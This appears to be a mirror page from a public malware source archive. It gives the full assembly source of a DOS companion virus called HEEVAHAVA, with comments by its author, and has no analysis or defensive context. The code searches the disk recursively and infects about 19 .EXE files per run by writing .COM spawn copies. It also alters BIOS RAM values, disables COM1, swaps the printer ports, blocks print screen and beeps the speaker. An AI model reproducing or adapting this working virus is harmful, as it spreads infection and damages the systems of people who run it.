mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
297 lines
12 KiB
NASM
297 lines
12 KiB
NASM
; HEEVAHAV.ASM -- HEEVAHAVA VIRUS
|
|
; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM
|
|
; Written by URNST KOUCH
|
|
; This is a spawning virus I decided to take to the limit,
|
|
; to step on the accelerator of the VCL, so to speak.
|
|
; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt
|
|
; to infect almost 20 files anywhere on the disk every run. It will mess
|
|
; with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2,
|
|
; nullify print screen and finally, when the disk is completely saturated
|
|
; with HEEVAHAVA virus it will display the msg, "Only heeva-hava's get stuck
|
|
; with the HEEVAHAVA virus!" Note: a 'heevahava' is a Pennsylvania
|
|
; Dutch pejorative. Colloquially, it was the name given to the farmhand
|
|
; given the job of holding the bull's pecker while semen was collected.
|
|
|
|
virus_type equ 2 ; Spawning Virus
|
|
is_encrypted equ 0 ; We're not encrypted
|
|
tsr_virus equ 0 ; We're not TSR
|
|
|
|
code segment byte public
|
|
assume cs:code,ds:code,es:code,ss:code
|
|
org 0100h
|
|
|
|
start label near
|
|
|
|
main proc near
|
|
|
|
mov ah,04Ah ; DOS resize memory function
|
|
mov bx,[finish - start / 0282h] ; BX holds # of para.
|
|
int 21h
|
|
|
|
mov sp,(finish - start) + 01100h ; Change top of stack
|
|
|
|
mov si,offset spawn_name ; SI points to true filename
|
|
int 02Eh ; DOS execution back-door
|
|
push ax ; Save return value for later
|
|
|
|
mov ax,cs ; AX holds code segment
|
|
mov ds,ax ; Restore data segment
|
|
mov es,ax ; Restore extra segment
|
|
|
|
mov cx,0013h ; Do 19 infections
|
|
search_loop: push cx ; Save CX
|
|
call search_files ; Find and infect a file
|
|
pop cx ; Restore CX
|
|
loop search_loop ; Repeat until CX is 0
|
|
|
|
mov dx,0064h ; First argument is 100
|
|
push es ; Save ES
|
|
mov ax,040h ; Set extra segment to 040h
|
|
mov es,ax ; (ROM BIOS)
|
|
mov word ptr es:[013h],dx ; Store new RAM ammount
|
|
pop es ; Restore ES
|
|
|
|
mov cx,0005h ; First argument is 5
|
|
jcxz beep_end ; Exit if there are no beeps
|
|
mov ax,0E07h ; BIOS display char., BEL
|
|
beep_loop: int 010h ; Beep
|
|
loop beep_loop ; Beep until --CX = 0
|
|
beep_end:
|
|
|
|
push es ; Save ES
|
|
mov ax,050h ; Set the extra segement to
|
|
mov es,ax ; the BIOS area
|
|
mov byte ptr [0000h],1 ; Set print screen flag to
|
|
pop es ; "printing," restore ES
|
|
|
|
mov si,0001h ; First argument is 1
|
|
push es ; Save ES
|
|
xor ax,ax ; Set the extra segment to
|
|
mov es,ax ; zero (ROM BIOS)
|
|
shl si,1 ; Convert to word index
|
|
mov word ptr [si + 03FEh],0 ; Zero COM port address
|
|
pop es ; Restore ES
|
|
|
|
mov bx,0001h ; First argument is 1
|
|
mov si,0002h ; Second argument is 2
|
|
push es ; Save ES
|
|
xor ax,ax ; Set the extra segment to
|
|
mov es,ax ; zero (ROM BIOS)
|
|
shl bx,1 ; Convert to word index
|
|
shl si,1 ; Convert to word index
|
|
mov ax,word ptr [bx + 0407h]; Zero COM port address
|
|
xchg word ptr [si + 0407h],ax; Put first value in second,
|
|
mov word ptr [bx + 0407h],ax; and second value in first!
|
|
pop es ; Restore ES
|
|
|
|
call infected_all
|
|
or ax,ax ; Did the function return zero?
|
|
je strt00 ; If equal, do effect
|
|
jmp end00 ; Otherwise skip over it
|
|
strt00: mov si,offset data00 ; SI points to data
|
|
mov ah,0Eh ; BIOS display char. function
|
|
display_loop: lodsb ; Load the next char. into AL
|
|
or al,al ; Is the character a null?
|
|
je disp_strnend ; If it is, exit
|
|
int 010h ; BIOS video interrupt
|
|
jmp short display_loop ; Do the next character
|
|
disp_strnend:
|
|
|
|
end00: pop ax ; AL holds return value
|
|
mov ah,04Ch ; DOS terminate function
|
|
int 021h
|
|
main endp
|
|
|
|
search_files proc near
|
|
push bp ; Save BP
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,64 ; Allocate 64 bytes on stack
|
|
|
|
mov ah,047h ; DOS get current dir function
|
|
xor dl,dl ; DL holds drive # (current)
|
|
lea si,[bp - 64] ; SI points to 64-byte buffer
|
|
int 021h
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
mov dx,offset root ; DX points to root directory
|
|
int 021h
|
|
|
|
call traverse ; Start the traversal
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 64] ; DX points to old directory
|
|
int 021h
|
|
|
|
mov sp,bp ; Restore old stack pointer
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
|
|
root db "\",0 ; Root directory
|
|
search_files endp
|
|
|
|
traverse proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first function
|
|
mov cx,00010000b ; CX holds search attributes
|
|
mov dx,offset all_files ; DX points to "*.*"
|
|
int 021h
|
|
jc leave_traverse ; Leave if no files present
|
|
|
|
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
|
jne another_dir ; If not, try again
|
|
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
|
je another_dir ;If so, keep going
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 98] ; DX points to new directory
|
|
int 021h
|
|
|
|
call traverse ; Recursively call ourself
|
|
|
|
pushf ; Save the flags
|
|
mov ah,03Bh ; DOS change directory function
|
|
mov dx,offset up_dir ; DX points to parent directory
|
|
int 021h
|
|
popf ; Restore the flags
|
|
|
|
jnc done_searching ; If we infected then exit
|
|
|
|
another_dir: mov ah,04Fh ; DOS find next function
|
|
int 021h
|
|
jnc check_dir ; If found check the file
|
|
|
|
leave_traverse:
|
|
mov dx,offset exe_mask ; DX points to "*.EXE"
|
|
call find_files ; Try to infect a file
|
|
done_searching: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
|
|
up_dir db "..",0 ; Parent directory name
|
|
all_files db "*.*",0 ; Directories to search for
|
|
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
|
traverse endp
|
|
|
|
find_files proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
push dx ; Save file mask
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds all file attributes
|
|
pop dx ; Restore file mask
|
|
find_a_file: int 021h
|
|
jc done_finding ; Exit if no files found
|
|
call infect_file ; Infect the file!
|
|
jnc done_finding ; Exit if no error
|
|
mov ah,04Fh ; DOS find next file function
|
|
jmp short find_a_file ; Try finding another file
|
|
|
|
done_finding: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
find_files endp
|
|
|
|
infect_file proc near
|
|
mov ah,02Fh ; DOS get DTA address function
|
|
int 021h
|
|
mov di,bx ; DI points to the DTA
|
|
|
|
lea si,[di + 01Eh] ; SI points to file name
|
|
mov dx,si ; DX points to file name, too
|
|
mov di,offset spawn_name + 1; DI points to new name
|
|
xor ah,ah ; AH holds character count
|
|
transfer_loop: lodsb ; Load a character
|
|
or al,al ; Is it a NULL?
|
|
je transfer_end ; If so then leave the loop
|
|
inc ah ; Add one to the character count
|
|
stosb ; Save the byte in the buffer
|
|
jmp short transfer_loop ; Repeat the loop
|
|
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
|
|
mov byte ptr [di],13 ; Make CR the final character
|
|
|
|
mov di,dx ; DI points to file name
|
|
xor ch,ch ;
|
|
mov cl,ah ; CX holds length of filename
|
|
mov al,'.' ; AL holds char. to search for
|
|
repne scasb ; Search for a dot in the name
|
|
mov word ptr [di],'OC' ; Store "CO" as first two bytes
|
|
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
|
|
|
|
mov byte ptr [set_carry],0 ; Assume we'll fail
|
|
mov ax,03D00h ; DOS open file function, r/o
|
|
int 021h
|
|
jnc infection_done ; File already exists, so leave
|
|
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
|
|
|
mov ah,03Ch ; DOS create file function
|
|
mov cx,00100111b ; CX holds file attributes (all)
|
|
int 021h
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
mov cx,finish - start ; CX holds virus length
|
|
mov dx,offset start ; DX points to start of virus
|
|
int 021h
|
|
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
|
|
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
|
ret ; Return to caller
|
|
|
|
spawn_name db 12,12 dup (?),13 ; Name for next spawn
|
|
set_carry db ? ; Set-carry-on-exit flag
|
|
infect_file endp
|
|
|
|
|
|
infected_all proc near
|
|
#if virus_type eq 0
|
|
mov al,byte ptr [di + set_carry]
|
|
else
|
|
mov al,byte ptr [set_carry] ; AX holds success value
|
|
#endif
|
|
cbw ; Sign-extend AL into AX
|
|
ret ; Return to caller
|
|
infected_all endp
|
|
|
|
data00 db 7,7,7,7,"Only heeva-hava's get stuck with THE HEEVAHAVA virus!",13,10,0
|
|
|
|
vcl_marker db "HEEVA[VCL]",0 ; VCL creation marker
|
|
|
|
finish label near
|
|
|
|
code ends
|
|
end main
|
|
|